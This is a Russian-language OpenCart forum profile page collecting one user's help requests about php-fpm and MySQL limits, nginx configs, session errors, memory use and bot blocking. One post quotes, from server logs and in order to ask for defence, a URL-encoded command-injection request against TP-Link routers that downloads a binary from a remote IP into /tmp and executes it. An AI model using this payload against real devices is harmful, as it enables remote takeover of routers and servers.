-
Постов
34 -
Зарегистрирован
-
Посещение
Тип контента
Профили
Документация OpenCart
Информация
OpenCart Wiki
Форумы
Блоги
Дополнения
Магазин
Весь контент Rashp
-
Здравствуйте всем, подскажите пожалуйста кто-нибудь настраивал Dadata в simple? поделитесь кодом js пожалуйста для городов, у меня есть такой, не знаю будет работать или нет var token = " "; var defaultFormatResult = $.Suggestions.prototype.formatResult; function formatResult(value, currentValue, suggestion, options) { var newValue = suggestion.data.city; suggestion.value = newValue; return defaultFormatResult.call(this, newValue, currentValue, suggestion, options); } function formatSelected(suggestion) { return suggestion.data.city; } $("#address").suggestions({ token: token, type: "ADDRESS", hint: false, bounds: "city", constraints: { locations: { city_type_full: "город" } }, formatResult: formatResult, formatSelected: formatSelected, onSelect: function(suggestion) { console.log(suggestion); } });
-
от 10 до 20 мб на процесс получается, процессов 8
-
подскажите пожалуйста лог php-fpm козлит server reached pm.max_children setting (80), consider raising it seems busy (you may need to increase pm.start_servers, or pm.min/max_spare_servers), spawning 8 children are 0 idle, and 79 total children На серванте 8 CPU, 16 Gb памяти ps -ylC php-fpm --sort:rss -u www-data S UID PID PPID C PRI NI RSS SZ WCHAN TTY TIME CMD S 33 638 637 0 80 0 12228 11324 do_epo ? 00:00:00 nginx S 33 649 637 0 80 0 13544 11453 do_epo ? 00:00:00 nginx S 33 650 637 0 80 0 14000 11510 do_epo ? 00:00:00 nginx S 33 639 637 0 80 0 15120 11817 do_epo ? 00:00:01 nginx S 33 641 637 0 80 0 15716 11918 do_epo ? 00:00:01 nginx S 33 646 637 0 80 0 16816 11761 do_epo ? 00:00:02 nginx S 33 644 637 0 80 0 16916 12211 do_epo ? 00:00:01 nginx S 33 640 637 0 80 0 20980 12577 do_epo ? 00:01:39 nginx текущие настройки: pm = dynamic pm.max_children = 80 pm.start_servers = 6 pm.min_spare_servers = 4 pm.max_spare_servers = 8 pm.max_requests = 500 Или поставить? pm = dynamic pm.max_children = 40 pm.start_servers = 8 pm.min_spare_servers = 4 pm.max_spare_servers = 12 pm.max_requests = 500
-
Спасибо! Взаимно
-
VPS - CPU 8 / RAM 16384 Мб / NVMe 160 Гб - дешевый?
-
Спасибо, увеличил, просто странно, такой всплеск происходит периодически, я больше даже не про настройки спрашивал, а пытаюсь найти причинно-следственную связь из-за чего это происходит? Откуда идет такое кол-во подключений, т.е. это косяк опенкарта или сервера.
-
Всем здравствуйте, периодически вылезает ошибка Too many connections ( Подскажите пожалуйста, как поправить? Warning: mysqli::__construct(): (HY000/1040): Too many connections in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 7 Warning: DB\MySQLi::__construct(): Couldn't fetch mysqli in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 10 Warning: DB\MySQLi::__construct(): Couldn't fetch mysqli in /var/www/site.ru/storage/modification/system/library/db/mysqli.php on line 10
-
Всем здравствуйте, появился деятель на сайте собирает корзины по 100 - 120 строк товаров с цветом и размером, после этого происходит падение памяти до 7 гб из 16 (в логах предупреждение mysqld[25623]: 2025-01-20 18:01:30 0 [Warning] Aborted connection 0 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (Too many connections). Корзина кэшируется. Подскажите пожалуйста как можно с этим бороться? Действия намеренные судя по тому, что постоянно меняет ip адреса (использует vpn) и данные устройств и браузера. в my.cnf max_connections = 100 connect_timeout = 5 wait_timeout = 600 max_allowed_packet = 16M thread_cache_size = 128 sort_buffer_size = 2M bulk_insert_buffer_size = 16M tmp_table_size = 32M max_heap_table_size = 32M # # * MyISAM # key_buffer_size = 128M table_open_cache = 400 myisam_sort_buffer_size = 1024M concurrent_insert = 2 read_buffer_size = 2M read_rnd_buffer_size = 1M в php.ini memory_limit = 1024M
-
не решено, данные остаются, но заказ не оформляется при большом объеме корзины более 100 шт. с сочетанием цвет/размер все равно выдает empty order_id ошибок при этом нигде в логах нет Знающие подскажите пожалуйста как это лечить?
-
кажется нашел, попробую посмотреть, было связано с настройками read_buffer_size и read_rnd_buffer_size
-
Всем, здравствуйте, перманентно слетает настройка почты в settings, что вызывает сообщение empty order_id при оформлении заказа и вышибает из админки в логе: PHP Notice: unserialize(): Error at offset 1830129 of 6365184 bytes in /system/library/session/file.php line 18 но там ничего такого в этой строке нет, только возврат данных - return unserialize($data); if (is_file($file)) { $filesize = filesize($file); if ($filesize > 0) { $handle = fopen($file, 'r'); flock($handle, LOCK_SH); $data = fread($handle, $filesize); flock($handle, LOCK_UN); fclose($handle); return unserialize($data); } } После повторного сохраниния настроек, ошибка исчезает, но опять же на некоторое время. Подскажите пожалуйста куда копать? Ну или как поправить? Причем это именно связано с отправкой уведомлений о заказе или смене пароля зарегистрированным покупателем. Почта отправляется со своего отдельного почтового сервера в настройках smtp / ssl://адрес сервера / 465 порт / таймаут 20 / логин, пароль
-
или такой вариант? if ($http_host != "0.0.0.0") { return 301 https://example.ru; } такой вариант тоже не работает ((((
-
Всем здравствуйте! Подскажите пожалуйста, как правильно закрыть IP в nginx от прямого доступа? Надоели левые запросы по IP и не повлияет ли это на индексацию? Я сделал следующую конструкцию, не знаю, корректно ли это? server { listen 80; server_name domain.ru www.domain.ru; return 301 https://domain.ru$request_uri; } server { set $host_path "/var/www/webroot"; set $index "index.php"; set $fpm_sock "/run/php/php7.3-fpm-domain.sock"; listen 443 ssl http2; ssl_certificate /etc/nginx/ssl/fullchain.pem; ssl_certificate_key /etc/nginx/ssl/privkey.pem; ssl_trusted_certificate /etc/nginx/ssl/chain.pem; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always; add_header X-XSS-Protection "1; mode=block"; add_header X-Frame-Options SAMEORIGIN; add_header X-Permitted-Cross-Domain-Policies master-only; add_header X-Content-Type-Options nosniff; set $domain_name "domain.ru"; server_name domain.ru www.domain.ru; root $host_path/; index $index; default_type text/html; access_log off; error_log /var/www/logs/nginx/error.log crit; if ($host = 'www.$domain_name') { return 301 https://$domain_name$request_uri; } server { listen 0.0.0.0:80 default_server; listen 0.0.0.0:443 default_server; server_name _; return 444; }
-
Всем, привет, помогите плз. мозгов не хватает прикрутить в header.twig <meta http-equiv="expires" content="{{ expires }}"> <meta http-equiv="last-modified" content="{{ last_modified }}"> сделал в catalog/controller/common/lastmodified.php <?php // Установите заголовки $Expires = @date('D, d M Y H:i:00', time() + 360000); $num = mt_rand(2000, 10000); $LastModified = gmdate("D, d M Y H:i:s \G\M\T", time() - $num); $IfModifiedSince = false; if (isset($_ENV['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_ENV['HTTP_IF_MODIFIED_SINCE'], 5)); if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])) $IfModifiedSince = strtotime(substr($_SERVER['HTTP_IF_MODIFIED_SINCE'], 5)); if ($IfModifiedSince && $IfModifiedSince >= $num) { header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified'); exit; } Установка заголовков header('Expires: ' . $Expires); header('Last-Modified: ' . $LastModified); Загрузка и рендеринг шаблона Twig $this->load->view('common/header', $data); ?> но последний блок не работает чтоб зацепить его в header подскажите плз. Заранее благодарен
-
Знающие, ответьте пожалуйста.
-
Всем здравствуйте, после переезда на новые сервера, столкнулся по странными запросами вот такого вида: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F45.148.10.78%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) пытаются грузить на сервер shell и получить доступ к сайту, стандартные методы борьбы не особо помогают, менял права на /tmp на 755, 775, но сайт падает на 500, где сайт и /tmp могут быть связаны и как можно купировать эту проблему?
-
Нашел где течет, причем случайно, когда переезжал на другой сервер. Зашел в ini, который cli там был установлен memory_limit = -1, он собственно и выедал память, ограничил до 1024M, пока буду посмотреть, что из этого. получится
-
Переехал на другие сервера и настроил ddos guard, вроде пока отбился )
-
Потому, что в нестабильном мире живем, в любой момент возможны варианты ))) А в бизнесе, надо учитывать риски cloudflare на данный момент это повышенные риски.
-
Всем здравствуйте, Кто-нибудь настраивал защиту от поведенческих ботов? Задолбали боты Biterika LLC, уже многое перепробовал, у меня есть настройка nginx - blackips, но мне кажется это полная шляпа и на работу движка как-то не хорошо влияет. Ставил какой-то г*в#* модуль Messor, тоже полная фигня. Кто-то настраивал блокировку по ASN не через cloudflare (не безопасно это сейчас настраивать). Или есть еще какие нибудь методы борьбы?
-
нет у меня апача и почтаря тоже, все ресурсы на сервере заточены под магазин, уже лет 8 как живу под php-fpm + nginx последний лог был: 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:01: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB 2023-11-05 19:10:02: Наиболее ресурсоемкое приложение: mysqld (PID: 816), использование памяти: 200904 kB т.е идет рост нагрузки, медленно но идет вчера сервер матерился на нагрузку CPU более 100%, может пионеры ддосить пытались, не знаю. У меня меньше 29 гиг использование памяти не снижалось последнее время, а тут до 3,7 упало, я конечно сегодня включил по крону очистку sync; echo 1 > /proc/sys/vm/drop_caches - если уровень памяти упадет меньше 10 гиг, но это костыли. Хотелось бы найти все же причину такого поведения сервера. Постоянно пинать сервант, тоже не хочется. Ребутом конечно все лечится, но хочется чтоб по человечески работало все.